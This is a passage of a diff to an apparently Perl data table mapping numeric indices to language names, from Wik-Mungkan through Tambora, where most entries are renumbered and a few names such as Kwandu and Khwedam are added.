       ],
-   q(7121) => [
+   q(7123) => [
       q(Wik-Mungkan),
       ],
-   q(7122) => [
+   q(7124) => [
       q(Ho-Chunk),
       ],
-   q(7123) => [
+   q(7125) => [
       q(Wirafed),
       ],
-   q(7124) => [
+   q(7126) => [
       q(Wiru),
       ],
-   q(7125) => [
+   q(7127) => [
       q(Vitu),
       ],
-   q(7126) => [
+   q(7128) => [
       q(Wiyot),
       ],
-   q(7127) => [
+   q(7129) => [
       q(Waja),
       ],
-   q(7128) => [
+   q(7130) => [
       q(Warji),
       ],
-   q(7129) => [
+   q(7131) => [
       q(Kw'adza),
       ],
-   q(7130) => [
+   q(7132) => [
       q(Kumbaran),
       ],
-   q(7131) => [
+   q(7133) => [
       q(Wakde),
       q(Mo),
       ],
-   q(7132) => [
+   q(7134) => [
       q(Kalanadi),
       ],
-   q(7133) => [
+   q(7135) => [
       q(Kunduvadi),
       ],
-   q(7134) => [
+   q(7136) => [
       q(Wakawaka),
       ],
-   q(7135) => [
+   q(7137) => [
       q(Wangkayutyuru),
       ],
-   q(7136) => [
+   q(7138) => [
       q(Walio),
       ],
-   q(7137) => [
+   q(7139) => [
       q(Mwali Comorian),
       ],
-   q(7138) => [
+   q(7140) => [
       q(Wolane),
       ],
-   q(7139) => [
+   q(7141) => [
       q(Kunbarlang),
       ],
-   q(7140) => [
+   q(7142) => [
       q(Waioli),
       ],
-   q(7141) => [
+   q(7143) => [
       q(Wailaki),
       ],
-   q(7142) => [
+   q(7144) => [
       q(Wali (Sudan)),
       ],
-   q(7143) => [
+   q(7145) => [
       q(Middle Welsh),
       ],
-   q(7144) => [
+   q(7146) => [
       q(Wolio),
       ],
-   q(7145) => [
+   q(7147) => [
       q(Wailapa),
       ],
-   q(7146) => [
+   q(7148) => [
       q(Wallisian),
       ],
-   q(7147) => [
+   q(7149) => [
       q(Wuliwuli),
       ],
-   q(7148) => [
+   q(7150) => [
       q(Wichi Lhamtes Vejoz),
       ],
-   q(7149) => [
+   q(7151) => [
       q(Walak),
       ],
-   q(7150) => [
+   q(7152) => [
       q(Wali (Ghana)),
       ],
-   q(7151) => [
+   q(7153) => [
       q(Waling),
       ],
-   q(7152) => [
+   q(7154) => [
       q(Mawa (Nigeria)),
       ],
-   q(7153) => [
+   q(7155) => [
       q(Wambaya),
       ],
-   q(7154) => [
+   q(7156) => [
       q(Wamas),
       ],
-   q(7155) => [
+   q(7157) => [
       q(Mamainde),
       ],
-   q(7156) => [
+   q(7158) => [
       q(Wambule),
       ],
-   q(7157) => [
+   q(7159) => [
       q(Waima'a),
       ],
-   q(7158) => [
+   q(7160) => [
       q(Wamin),
       ],
-   q(7159) => [
+   q(7161) => [
       q(Maiwa (Indonesia)),
       ],
-   q(7160) => [
+   q(7162) => [
       q(Waamwang),
       ],
-   q(7161) => [
+   q(7163) => [
       q(Wom (Papua New Guinea)),
       ],
-   q(7162) => [
+   q(7164) => [
       q(Wambon),
       ],
-   q(7163) => [
+   q(7165) => [
       q(Walmajarri),
       ],
-   q(7164) => [
+   q(7166) => [
       q(Mwani),
       ],
-   q(7165) => [
+   q(7167) => [
       q(Womo),
       ],
-   q(7166) => [
+   q(7168) => [
       q(Wanambre),
       ],
-   q(7167) => [
+   q(7169) => [
       q(Wantoat),
       ],
-   q(7168) => [
+   q(7170) => [
       q(Wandarang),
       ],
-   q(7169) => [
+   q(7171) => [
       q(Waneci),
       ],
-   q(7170) => [
+   q(7172) => [
       q(Wanggom),
       ],
-   q(7171) => [
+   q(7173) => [
       q(Ndzwani Comorian),
       ],
-   q(7172) => [
+   q(7174) => [
       q(Wanukaka),
       ],
-   q(7173) => [
+   q(7175) => [
       q(Wanggamala),
       ],
-   q(7174) => [
+   q(7176) => [
       q(Wunumara),
       ],
-   q(7175) => [
+   q(7177) => [
       q(Wano),
       ],
-   q(7176) => [
+   q(7178) => [
       q(Wanap),
       ],
-   q(7177) => [
+   q(7179) => [
       q(Usan),
       ],
-   q(7178) => [
+   q(7180) => [
       q(Wintu),
       ],
-   q(7179) => [
+   q(7181) => [
       q(Wanyi),
       ],
-   q(7180) => [
+   q(7182) => [
       q(Tyaraity),
       ],
-   q(7181) => [
+   q(7183) => [
       q(We Northern),
       ],
-   q(7182) => [
+   q(7184) => [
       q(Wogeo),
       ],
-   q(7183) => [
+   q(7185) => [
       q(Wolani),
       ],
-   q(7184) => [
+   q(7186) => [
       q(Woleaian),
       ],
-   q(7185) => [
+   q(7187) => [
       q(Gambian Wolof),
       ],
-   q(7186) => [
+   q(7188) => [
       q(Wogamusin),
       ],
-   q(7187) => [
+   q(7189) => [
       q(Kamang),
       ],
-   q(7188) => [
+   q(7190) => [
       q(Longto),
       ],
-   q(7189) => [
+   q(7191) => [
       q(Wom (Nigeria)),
       ],
-   q(7190) => [
+   q(7192) => [
       q(Wongo),
       ],
-   q(7191) => [
+   q(7193) => [
       q(Manombai),
       ],
-   q(7192) => [
+   q(7194) => [
       q(Woria),
       ],
-   q(7193) => [
+   q(7195) => [
       q(Hanga Hundi),
       ],
-   q(7194) => [
+   q(7196) => [
       q(Wawonii),
       ],
-   q(7195) => [
+   q(7197) => [
       q(Weyto),
       ],
-   q(7196) => [
+   q(7198) => [
       q(Maco),
       ],
-   q(7197) => [
+   q(7199) => [
       q(Warapu),
       ],
-   q(7198) => [
+   q(7200) => [
       q(Warluwara),
       ],
-   q(7199) => [
+   q(7201) => [
       q(Warduji),
       ],
-   q(7200) => [
+   q(7202) => [
       q(Warungu),
       ],
-   q(7201) => [
+   q(7203) => [
       q(Wiradhuri),
       ],
-   q(7202) => [
+   q(7204) => [
       q(Wariyangga),
       ],
-   q(7203) => [
+   q(7205) => [
       q(Garrwa),
       ],
-   q(7204) => [
+   q(7206) => [
       q(Warlmanpa),
       ],
-   q(7205) => [
+   q(7207) => [
       q(Warumungu),
       ],
-   q(7206) => [
+   q(7208) => [
       q(Warnang),
       ],
-   q(7207) => [
+   q(7209) => [
       q(Worrorra),
       ],
-   q(7208) => [
+   q(7210) => [
       q(Waropen),
       ],
-   q(7209) => [
+   q(7211) => [
       q(Wardaman),
       ],
-   q(7210) => [
+   q(7212) => [
       q(Waris),
       ],
-   q(7211) => [
+   q(7213) => [
       q(Waru),
       ],
-   q(7212) => [
+   q(7214) => [
       q(Waruna),
       ],
-   q(7213) => [
+   q(7215) => [
       q(Gugu Warra),
       ],
-   q(7214) => [
+   q(7216) => [
       q(Wae Rana),
       ],
-   q(7215) => [
+   q(7217) => [
       q(Merwari),
       ],
-   q(7216) => [
+   q(7218) => [
       q(Waray (Australia)),
       ],
-   q(7217) => [
+   q(7219) => [
       q(Warembori),
       ],
-   q(7218) => [
+   q(7220) => [
       q(Adilabad Gondi),
       ],
-   q(7219) => [
+   q(7221) => [
       q(Wusi),
       ],
-   q(7220) => [
+   q(7222) => [
       q(Waskia),
       ],
-   q(7221) => [
+   q(7223) => [
       q(Owenia),
       ],
-   q(7222) => [
+   q(7224) => [
       q(Wasa),
       ],
-   q(7223) => [
+   q(7225) => [
       q(Wasu),
       ],
-   q(7224) => [
+   q(7226) => [
       q(Wotapuri-Katarqalai),
       ],
-   q(7225) => [
+   q(7227) => [
       q(Watiwa),
       ],
-   q(7226) => [
+   q(7228) => [
       q(Wathawurrung),
       ],
-   q(7227) => [
+   q(7229) => [
       q(Berta),
       ],
-   q(7228) => [
+   q(7230) => [
       q(Watakataui),
       ],
-   q(7229) => [
+   q(7231) => [
       q(Mewati),
       ],
-   q(7230) => [
+   q(7232) => [
       q(Wotu),
       ],
-   q(7231) => [
+   q(7233) => [
       q(Wikngenchera),
       ],
-   q(7232) => [
+   q(7234) => [
       q(Wunambal),
       ],
-   q(7233) => [
+   q(7235) => [
       q(Wudu),
       ],
-   q(7234) => [
+   q(7236) => [
       q(Wutunhua),
       ],
-   q(7235) => [
+   q(7237) => [
       q(Silimo),
       ],
-   q(7236) => [
+   q(7238) => [
       q(Wumbvu),
       ],
-   q(7237) => [
+   q(7239) => [
       q(Bungu),
       ],
-   q(7238) => [
+   q(7240) => [
       q(Wurrugu),
       ],
-   q(7239) => [
+   q(7241) => [
       q(Wutung),
       ],
-   q(7240) => [
+   q(7242) => [
       q(Wu Chinese),
       ],
-   q(7241) => [
+   q(7243) => [
       q(Wuvulu-Aua),
       ],
-   q(7242) => [
+   q(7244) => [
       q(Wulna),
       ],
-   q(7243) => [
+   q(7245) => [
       q(Wauyai),
       ],
-   q(7244) => [
+   q(7246) => [
       q(Waama),
       ],
-   q(7245) => [
+   q(7247) => [
       q(Wakabunga),
       ],
-   q(7246) => [
+   q(7248) => [
       q(Wetamut),
       q(Dorig),
       ],
-   q(7247) => [
+   q(7249) => [
       q(Warrwa),
       ],
-   q(7248) => [
+   q(7250) => [
       q(Wawa),
       ],
-   q(7249) => [
+   q(7251) => [
       q(Waxianghua),
       ],
-   q(7250) => [
+   q(7252) => [
       q(Wardandi),
       ],
-   q(7251) => [
+   q(7253) => [
       q(Wyandot),
       ],
-   q(7252) => [
+   q(7254) => [
       q(Wangaaybuwan-Ngiyambaa),
       ],
-   q(7253) => [
+   q(7255) => [
       q(Woiwurrung),
       ],
-   q(7254) => [
+   q(7256) => [
       q(Wymysorys),
       ],
-   q(7255) => [
+   q(7257) => [
       q(Wayoro),
       ],
-   q(7256) => [
+   q(7258) => [
       q(Western Fijian),
       ],
-   q(7257) => [
+   q(7259) => [
       q(Andalusian Arabic),
       ],
-   q(7258) => [
+   q(7260) => [
       q(Sambe),
       ],
-   q(7259) => [
+   q(7261) => [
       q(Kachari),
       ],
-   q(7260) => [
+   q(7262) => [
       q(Adai),
       ],
-   q(7261) => [
+   q(7263) => [
       q(Aequian),
       ],
-   q(7262) => [
+   q(7264) => [
       q(Aghwan),
       ],
-   q(7263) => [
+   q(7265) => [
       q(Kaimbe),
       ],
-   q(7264) => [
+   q(7266) => [
       q(Ararandewara),
       ],
-   q(7265) => [
+   q(7267) => [
       q(Maku),
       ],
-   q(7266) => [
+   q(7268) => [
       q(/Xam),
       q(Xam),
       ],
-   q(7267) => [
+   q(7269) => [
       q(Xamtanga),
       ],
-   q(7268) => [
+   q(7270) => [
       q(Khao),
       ],
-   q(7269) => [
+   q(7271) => [
       q(Apalachee),
       ],
-   q(7270) => [
+   q(7272) => [
       q(Aquitanian),
       ],
-   q(7271) => [
+   q(7273) => [
       q(Karami),
       ],
-   q(7272) => [
+   q(7274) => [
       q(Kamas),
       ],
-   q(7273) => [
+   q(7275) => [
       q(Katawixi),
       ],
-   q(7274) => [
+   q(7276) => [
       q(Kauwera),
       ],
-   q(7275) => [
+   q(7277) => [
       q(Xavante),
       ],
-   q(7276) => [
+   q(7278) => [
       q(Kawaiisu),
       ],
-   q(7277) => [
+   q(7279) => [
       q(Kayan Mahakam),
       ],
-   q(7278) => [
+   q(7280) => [
       q(Lower Burdekin),
       ],
-   q(7279) => [
+   q(7281) => [
       q(Bactrian),
       ],
-   q(7280) => [
+   q(7282) => [
       q(Bindal),
       ],
-   q(7281) => [
+   q(7283) => [
       q(Bigambal),
       ],
-   q(7282) => [
+   q(7284) => [
       q(Bunganditj),
       ],
-   q(7283) => [
+   q(7285) => [
       q(Kombio),
       ],
-   q(7284) => [
+   q(7286) => [
       q(Birrpayi),
       ],
-   q(7285) => [
+   q(7287) => [
       q(Middle Breton),
       ],
-   q(7286) => [
+   q(7288) => [
       q(Kenaboi),
       ],
-   q(7287) => [
+   q(7289) => [
       q(Bolgarian),
       ],
-   q(7288) => [
+   q(7290) => [
       q(Bibbulman),
       ],
-   q(7289) => [
+   q(7291) => [
       q(Kambera),
       ],
-   q(7290) => [
+   q(7292) => [
       q(Kambiwa),
       ],
-   q(7291) => [
+   q(7293) => [
       q(Batyala),
       ],
-   q(7292) => [
+   q(7294) => [
       q(Cumbric),
       ],
-   q(7293) => [
+   q(7295) => [
       q(Camunic),
       ],
-   q(7294) => [
+   q(7296) => [
       q(Celtiberian),
       ],
-   q(7295) => [
+   q(7297) => [
       q(Cisalpine Gaulish),
       ],
-   q(7296) => [
+   q(7298) => [
       q(Chemakum),
       q(Chimakum),
       ],
-   q(7297) => [
+   q(7299) => [
       q(Classical Armenian),
       ],
-   q(7298) => [
+   q(7300) => [
       q(Comecrudo),
       ],
-   q(7299) => [
+   q(7301) => [
       q(Cotoname),
       ],
-   q(7300) => [
+   q(7302) => [
       q(Chorasmian),
       ],
-   q(7301) => [
+   q(7303) => [
       q(Carian),
       ],
-   q(7302) => [
+   q(7304) => [
       q(Classical Tibetan),
       ],
-   q(7303) => [
+   q(7305) => [
       q(Curonian),
       ],
-   q(7304) => [
+   q(7306) => [
       q(Chuvantsy),
       ],
-   q(7305) => [
+   q(7307) => [
       q(Coahuilteco),
       ],
-   q(7306) => [
+   q(7308) => [
       q(Cayuse),
       ],
-   q(7307) => [
+   q(7309) => [
       q(Darkinyung),
       ],
-   q(7308) => [
+   q(7310) => [
       q(Dacian),
       ],
-   q(7309) => [
+   q(7311) => [
       q(Dharuk),
       ],
-   q(7310) => [
+   q(7312) => [
       q(Edomite),
       ],
-   q(7311) => [
+   q(7313) => [
+      q(Kwandu),
+      ],
+   q(7314) => [
       q(Malayic Dayak),
       ],
-   q(7312) => [
+   q(7315) => [
       q(Eblan),
       ],
-   q(7313) => [
+   q(7316) => [
       q(Hdi),
       ],
-   q(7314) => [
+   q(7317) => [
       q(//Xegwi),
       q(Xegwi),
       ],
-   q(7315) => [
+   q(7318) => [
       q(Kelo),
       ],
-   q(7316) => [
+   q(7319) => [
       q(Kembayan),
       ],
-   q(7317) => [
+   q(7320) => [
       q(Epi-Olmec),
       ],
-   q(7318) => [
+   q(7321) => [
       q(Xerente),
       ],
-   q(7319) => [
+   q(7322) => [
       q(Kesawai),
       ],
-   q(7320) => [
+   q(7323) => [
       q(Xeta),
       ],
-   q(7321) => [
+   q(7324) => [
       q(Keoru-Ahia),
       ],
-   q(7322) => [
+   q(7325) => [
       q(Faliscan),
       ],
-   q(7323) => [
+   q(7326) => [
       q(Galatian),
       ],
-   q(7324) => [
+   q(7327) => [
       q(Gbin),
       ],
-   q(7325) => [
+   q(7328) => [
       q(Gudang),
       ],
-   q(7326) => [
+   q(7329) => [
       q(Gabrielino-Fernandeno),
       ],
-   q(7327) => [
+   q(7330) => [
       q(Goreng),
       ],
-   q(7328) => [
+   q(7331) => [
       q(Garingbal),
       ],
-   q(7329) => [
+   q(7332) => [
       q(Galindan),
       ],
-   q(7330) => [
+   q(7333) => [
       q(Dharumbal),
       q(Guwinmal),
       ],
-   q(7331) => [
+   q(7334) => [
       q(Garza),
       ],
-   q(7332) => [
+   q(7335) => [
       q(Unggumi),
       ],
-   q(7333) => [
+   q(7336) => [
       q(Guwa),
       ],
-   q(7334) => [
+   q(7337) => [
       q(Harami),
       ],
-   q(7335) => [
+   q(7338) => [
       q(Hunnic),
       ],
-   q(7336) => [
+   q(7339) => [
       q(Hadrami),
       ],
-   q(7337) => [
+   q(7340) => [
       q(Khetrani),
       ],
-   q(7338) => [
+   q(7341) => [
       q(Hernican),
       ],
-   q(7339) => [
+   q(7342) => [
       q(Hattic),
       ],
-   q(7340) => [
+   q(7343) => [
       q(Hurrian),
       ],
-   q(7341) => [
+   q(7344) => [
       q(Khua),
       ],
-   q(7342) => [
+   q(7345) => [
       q(Iberian),
       ],
-   q(7343) => [
+   q(7346) => [
       q(Xiri),
       ],
-   q(7344) => [
+   q(7347) => [
       q(Illyrian),
       ],
-   q(7345) => [
+   q(7348) => [
       q(Xinca),
       ],
-   q(7346) => [
+   q(7349) => [
       q(Xiriana),
       ],
-   q(7347) => [
+   q(7350) => [
       q(Kisan),
       ],
-   q(7348) => [
+   q(7351) => [
       q(Indus Valley Language),
       ],
-   q(7349) => [
+   q(7352) => [
       q(Xipaya),
       ],
-   q(7350) => [
+   q(7353) => [
       q(Minjungbal),
       ],
-   q(7351) => [
+   q(7354) => [
       q(Jaitmatang),
       ],
-   q(7352) => [
+   q(7355) => [
       q(Kalkoti),
       ],
-   q(7353) => [
+   q(7356) => [
       q(Northern Nago),
       ],
-   q(7354) => [
+   q(7357) => [
       q(Kho'ini),
       ],
-   q(7355) => [
+   q(7358) => [
       q(Mendalam Kayan),
       ],
-   q(7356) => [
+   q(7359) => [
       q(Kereho),
       ],
-   q(7357) => [
+   q(7360) => [
       q(Khengkha),
       ],
-   q(7358) => [
+   q(7361) => [
       q(Kagoro),
       ],
-   q(7359) => [
+   q(7362) => [
       q(Kenyan Sign Language),
       ],
-   q(7360) => [
+   q(7363) => [
       q(Kajali),
       ],
-   q(7361) => [
+   q(7364) => [
       q(Kaco'),
       ],
-   q(7362) => [
+   q(7365) => [
       q(Mainstream Kenyah),
       ],
-   q(7363) => [
+   q(7366) => [
       q(Kayan River Kayan),
       ],
-   q(7364) => [
+   q(7367) => [
       q(Kiorr),
       ],
-   q(7365) => [
+   q(7368) => [
       q(Kabatei),
       ],
-   q(7366) => [
+   q(7369) => [
       q(Koroni),
       ],
-   q(7367) => [
+   q(7370) => [
       q(Xakriaba),
       ],
-   q(7368) => [
+   q(7371) => [
       q(Kumbewaha),
       ],
-   q(7369) => [
+   q(7372) => [
       q(Kantosi),
       ],
-   q(7370) => [
+   q(7373) => [
       q(Kaamba),
       ],
-   q(7371) => [
+   q(7374) => [
       q(Kgalagadi),
       ],
-   q(7372) => [
+   q(7375) => [
       q(Kembra),
       ],
-   q(7373) => [
+   q(7376) => [
       q(Karore),
       ],
-   q(7374) => [
+   q(7377) => [
       q(Uma' Lasan),
       ],
-   q(7375) => [
+   q(7378) => [
       q(Kurtokha),
       ],
-   q(7376) => [
+   q(7379) => [
       q(Kamula),
       ],
-   q(7377) => [
+   q(7380) => [
       q(Loup B),
       ],
-   q(7378) => [
+   q(7381) => [
       q(Lycian),
       ],
-   q(7379) => [
+   q(7382) => [
       q(Lydian),
       ],
-   q(7380) => [
+   q(7383) => [
       q(Lemnian),
       ],
-   q(7381) => [
+   q(7384) => [
       q(Ligurian (Ancient)),
       ],
-   q(7382) => [
+   q(7385) => [
       q(Liburnian),
       ],
-   q(7383) => [
+   q(7386) => [
       q(Alanic),
       ],
-   q(7384) => [
+   q(7387) => [
       q(Loup A),
       ],
-   q(7385) => [
+   q(7388) => [
       q(Lepontic),
       ],
-   q(7386) => [
+   q(7389) => [
       q(Lusitanian),
       ],
-   q(7387) => [
+   q(7390) => [
       q(Cuneiform Luwian),
       ],
-   q(7388) => [
+   q(7391) => [
       q(Elymian),
       ],
-   q(7389) => [
+   q(7392) => [
       q(Mushungulu),
       ],
-   q(7390) => [
+   q(7393) => [
       q(Mbonga),
       ],
-   q(7391) => [
+   q(7394) => [
       q(Makhuwa-Marrevone),
       ],
-   q(7392) => [
+   q(7395) => [
       q(Mbudum),
       ],
-   q(7393) => [
+   q(7396) => [
       q(Median),
       ],
-   q(7394) => [
+   q(7397) => [
       q(Mingrelian),
       ],
-   q(7395) => [
+   q(7398) => [
       q(Mengaka),
       ],
-   q(7396) => [
+   q(7399) => [
       q(Kuku-Muminh),
       ],
-   q(7397) => [
+   q(7400) => [
       q(Majera),
       ],
-   q(7398) => [
+   q(7401) => [
       q(Ancient Macedonian),
       ],
-   q(7399) => [
+   q(7402) => [
       q(Malaysian Sign Language),
       ],
-   q(7400) => [
+   q(7403) => [
       q(Manado Malay),
       ],
-   q(7401) => [
+   q(7404) => [
       q(Manichaean Middle Persian),
       ],
-   q(7402) => [
+   q(7405) => [
       q(Morerebi),
       ],
-   q(7403) => [
+   q(7406) => [
       q(Kuku-Mu'inh),
       ],
-   q(7404) => [
+   q(7407) => [
       q(Kuku-Mangk),
       ],
-   q(7405) => [
+   q(7408) => [
       q(Meroitic),
       ],
-   q(7406) => [
+   q(7409) => [
       q(Moroccan Sign Language),
       ],
-   q(7407) => [
+   q(7410) => [
       q(Matbat),
       ],
-   q(7408) => [
+   q(7411) => [
       q(Kamu),
       ],
-   q(7409) => [
+   q(7412) => [
       q(Antankarana Malagasy),
       q(Tankarana Malagasy),
       ],
-   q(7410) => [
+   q(7413) => [
       q(Tsimihety Malagasy),
       ],
-   q(7411) => [
+   q(7414) => [
       q(Maden),
       ],
-   q(7412) => [
+   q(7415) => [
       q(Mayaguduna),
       ],
-   q(7413) => [
+   q(7416) => [
       q(Mori Bawah),
       ],
-   q(7414) => [
+   q(7417) => [
       q(Ancient North Arabian),
       ],
-   q(7415) => [
+   q(7418) => [
       q(Kanakanabu),
       ],
-   q(7416) => [
+   q(7419) => [
       q(Middle Mongolian),
       ],
-   q(7417) => [
+   q(7420) => [
       q(Kuanhua),
       ],
-   q(7418) => [
+   q(7421) => [
       q(Ngarigu),
       ],
-   q(7419) => [
+   q(7422) => [
       q(Nganakarti),
       ],
-   q(7420) => [
+   q(7423) => [
       q(Northern Kankanay),
       ],
-   q(7421) => [
+   q(7424) => [
       q(Anglo-Norman),
       ],
-   q(7422) => [
+   q(7425) => [
       q(Kangri),
       ],
-   q(7423) => [
+   q(7426) => [
       q(Kanashi),
       ],
-   q(7424) => [
+   q(7427) => [
       q(Narragansett),
       ],
-   q(7425) => [
+   q(7428) => [
       q(Nukunul),
       ],
-   q(7426) => [
+   q(7429) => [
       q(Nyiyaparli),
       ],
-   q(7427) => [
+   q(7430) => [
       q(Kenzi),
       q(Mattoki),
       ],
-   q(7428) => [
+   q(7431) => [
       q(O'chi'chi'),
       ],
-   q(7429) => [
+   q(7432) => [
       q(Kokoda),
       ],
-   q(7430) => [
+   q(7433) => [
       q(Soga),
       ],
-   q(7431) => [
+   q(7434) => [
       q(Kominimung),
       ],
-   q(7432) => [
+   q(7435) => [
       q(Xokleng),
       ],
-   q(7433) => [
+   q(7436) => [
       q(Komo (Sudan)),
       ],
-   q(7434) => [
+   q(7437) => [
       q(Konkomba),
       ],
-   q(7435) => [
+   q(7438) => [
       q(Xukuru),
       ],
-   q(7436) => [
+   q(7439) => [
       q(Kopar),
       ],
-   q(7437) => [
+   q(7440) => [
       q(Korubo),
       ],
-   q(7438) => [
+   q(7441) => [
       q(Kowaki),
       ],
-   q(7439) => [
+   q(7442) => [
       q(Pirriya),
       ],
-   q(7440) => [
+   q(7443) => [
       q(Pecheneg),
       ],
-   q(7441) => [
+   q(7444) => [
       q(Liberia Kpelle),
       ],
-   q(7442) => [
+   q(7445) => [
       q(Phrygian),
       ],
-   q(7443) => [
+   q(7446) => [
       q(Pictish),
       ],
-   q(7444) => [
+   q(7447) => [
       q(Mpalitjanh),
       ],
-   q(7445) => [
+   q(7448) => [
       q(Kulina Pano),
       ],
-   q(7446) => [
+   q(7449) => [
       q(Pumpokol),
       ],
-   q(7447) => [
+   q(7450) => [
       q(Kapinawa),
       ],
-   q(7448) => [
+   q(7451) => [
       q(Pochutec),
       ],
-   q(7449) => [
+   q(7452) => [
       q(Puyo-Paekche),
       ],
-   q(7450) => [
+   q(7453) => [
       q(Mohegan-Pequot),
       ],
-   q(7451) => [
+   q(7454) => [
       q(Parthian),
       ],
-   q(7452) => [
+   q(7455) => [
       q(Pisidian),
       ],
-   q(7453) => [
+   q(7456) => [
       q(Punthamara),
       ],
-   q(7454) => [
+   q(7457) => [
       q(Punic),
       ],
-   q(7455) => [
+   q(7458) => [
       q(Puyo),
       ],
-   q(7456) => [
+   q(7459) => [
       q(Karakhanid),
       ],
-   q(7457) => [
+   q(7460) => [
       q(Qatabanian),
       ],
-   q(7458) => [
+   q(7461) => [
       q(Kraho),
       ],
-   q(7459) => [
+   q(7462) => [
       q(Eastern Karaboro),
       ],
-   q(7460) => [
+   q(7463) => [
       q(Gundungurra),
       ],
-   q(7461) => [
+   q(7464) => [
       q(Kreye),
       ],
-   q(7462) => [
+   q(7465) => [
       q(Minang),
       ],
-   q(7463) => [
+   q(7466) => [
       q(Krikati-Timbira),
       ],
-   q(7464) => [
+   q(7467) => [
       q(Armazic),
       ],
-   q(7465) => [
+   q(7468) => [
       q(Arin),
       ],
-   q(7466) => [
+   q(7469) => [
       q(Karranga),
       ],
-   q(7467) => [
+   q(7470) => [
       q(Raetic),
       ],
-   q(7468) => [
+   q(7471) => [
       q(Aranama-Tamique),
       ],
-   q(7469) => [
+   q(7472) => [
       q(Marriammu),
       ],
-   q(7470) => [
+   q(7473) => [
       q(Karawa),
       ],
-   q(7471) => [
+   q(7474) => [
       q(Sabaean),
       ],
-   q(7472) => [
+   q(7475) => [
       q(Sambal),
       ],
-   q(7473) => [
+   q(7476) => [
       q(Scythian),
       ],
-   q(7474) => [
+   q(7477) => [
       q(Sidetic),
       ],
-   q(7475) => [
+   q(7478) => [
       q(Sempan),
       ],
-   q(7476) => [
+   q(7479) => [
       q(Shamang),
       ],
-   q(7477) => [
+   q(7480) => [
       q(Sio),
       ],
-   q(7478) => [
+   q(7481) => [
       q(South Slavey),
       ],
-   q(7479) => [
+   q(7482) => [
       q(Kasem),
       ],
-   q(7480) => [
+   q(7483) => [
       q(Sanga (Nigeria)),
       ],
-   q(7481) => [
+   q(7484) => [
       q(Solano),
       ],
-   q(7482) => [
+   q(7485) => [
       q(Silopi),
       ],
-   q(7483) => [
+   q(7486) => [
       q(Makhuwa-Saka),
       ],
-   q(7484) => [
+   q(7487) => [
       q(Sherpa),
       ],
-   q(7485) => [
+   q(7488) => [
       q(Assan),
       ],
-   q(7486) => [
+   q(7489) => [
       q(Sanuma),
       ],
-   q(7487) => [
+   q(7490) => [
       q(Sudovian),
       ],
-   q(7488) => [
+   q(7491) => [
       q(Saisiyat),
       ],
-   q(7489) => [
+   q(7492) => [
       q(Alcozauca Mixtec),
       ],
-   q(7490) => [
+   q(7493) => [
       q(Chazumba Mixtec),
       ],
-   q(7491) => [
+   q(7494) => [
       q(Katcha-Kadugli-Miri),
       ],
-   q(7492) => [
+   q(7495) => [
       q(Diuxi-Tilantongo Mixtec),
       ],
-   q(7493) => [
+   q(7496) => [
       q(Ketengban),
       ],
-   q(7494) => [
+   q(7497) => [
       q(Transalpine Gaulish),
       ],
-   q(7495) => [
+   q(7498) => [
       q(Yitha Yitha),
       ],
-   q(7496) => [
+   q(7499) => [
       q(Sinicahua Mixtec),
       ],
-   q(7497) => [
+   q(7500) => [
       q(San Juan Teita Mixtec),
       ],
-   q(7498) => [
+   q(7501) => [
       q(Tijaltepec Mixtec),
       ],
-   q(7499) => [
+   q(7502) => [
       q(Magdalena Penasco Mixtec),
       ],
-   q(7500) => [
+   q(7503) => [
       q(Northern Tlaxiaco Mixtec),
       ],
-   q(7501) => [
+   q(7504) => [
       q(Tokharian A),
       ],
-   q(7502) => [
+   q(7505) => [
       q(San Miguel Piedras Mixtec),
       ],
-   q(7503) => [
+   q(7506) => [
       q(Tumshuqese),
       ],
-   q(7504) => [
+   q(7507) => [
       q(Early Tripuri),
       ],
-   q(7505) => [
+   q(7508) => [
       q(Sindihui Mixtec),
       ],
-   q(7506) => [
+   q(7509) => [
       q(Tacahua Mixtec),
       ],
-   q(7507) => [
+   q(7510) => [
       q(Cuyamecalco Mixtec),
       ],
-   q(7508) => [
+   q(7511) => [
       q(Thawa),
       ],
-   q(7509) => [
+   q(7512) => [
       q(Tawande),
       ],
-   q(7510) => [
+   q(7513) => [
       q(Yoloxochitl Mixtec),
       ],
-   q(7511) => [
+   q(7514) => [
       q(Tasmanian),
       ],
-   q(7512) => [
+   q(7515) => [
       q(Alu Kurumba),
       ],
-   q(7513) => [
+   q(7516) => [
       q(Betta Kurumba),
       ],
-   q(7514) => [
+   q(7517) => [
       q(Umiida),
       ],
-   q(7515) => [
+   q(7518) => [
       q(Kunigami),
       ],
-   q(7516) => [
+   q(7519) => [
       q(Jennu Kurumba),
       ],
-   q(7517) => [
+   q(7520) => [
       q(Ngunawal),
       ],
-   q(7518) => [
+   q(7521) => [
       q(Umbrian),
       ],
-   q(7519) => [
+   q(7522) => [
       q(Unggaranggu),
       ],
-   q(7520) => [
+   q(7523) => [
       q(Kuo),
       ],
-   q(7521) => [
+   q(7524) => [
       q(Upper Umpqua),
       ],
-   q(7522) => [
+   q(7525) => [
       q(Urartian),
       ],
-   q(7523) => [
+   q(7526) => [
       q(Kuthant),
       ],
-   q(7524) => [
+   q(7527) => [
       q(Kxoe),
+      q(Khwedam),
       ],
-   q(7525) => [
+   q(7528) => [
       q(Venetic),
       ],
-   q(7526) => [
+   q(7529) => [
       q(Kamviri),
       ],
-   q(7527) => [
+   q(7530) => [
       q(Vandalic),
       ],
-   q(7528) => [
+   q(7531) => [
       q(Volscian),
       ],
-   q(7529) => [
+   q(7532) => [
       q(Vestinian),
       ],
-   q(7530) => [
+   q(7533) => [
       q(Kwaza),
       ],
-   q(7531) => [
+   q(7534) => [
       q(Woccon),
       ],
-   q(7532) => [
+   q(7535) => [
       q(Wadi Wadi),
       ],
-   q(7533) => [
+   q(7536) => [
       q(Xwela Gbe),
       ],
-   q(7534) => [
+   q(7537) => [
       q(Kwegu),
       ],
-   q(7535) => [
+   q(7538) => [
       q(Wajuk),
       ],
-   q(7536) => [
+   q(7539) => [
       q(Wangkumara),
       ],
-   q(7537) => [
+   q(7540) => [
       q(Western Xwla Gbe),
       ],
-   q(7538) => [
+   q(7541) => [
       q(Written Oirat),
       ],
-   q(7539) => [
+   q(7542) => [
       q(Kwerba Mamberamo),
       ],
-   q(7540) => [
+   q(7543) => [
       q(Wotjobaluk),
       ],
-   q(7541) => [
+   q(7544) => [
       q(Wemba Wemba),
       ],
-   q(7542) => [
+   q(7545) => [
       q(Boro (Ghana)),
       ],
-   q(7543) => [
+   q(7546) => [
       q(Ke'o),
       ],
-   q(7544) => [
+   q(7547) => [
       q(Minkin),
       ],
-   q(7545) => [
+   q(7548) => [
       q(Koropo),
       ],
-   q(7546) => [
+   q(7549) => [
       q(Tambora),
       ],
-   q(7547) => [
+   q(7550) => [
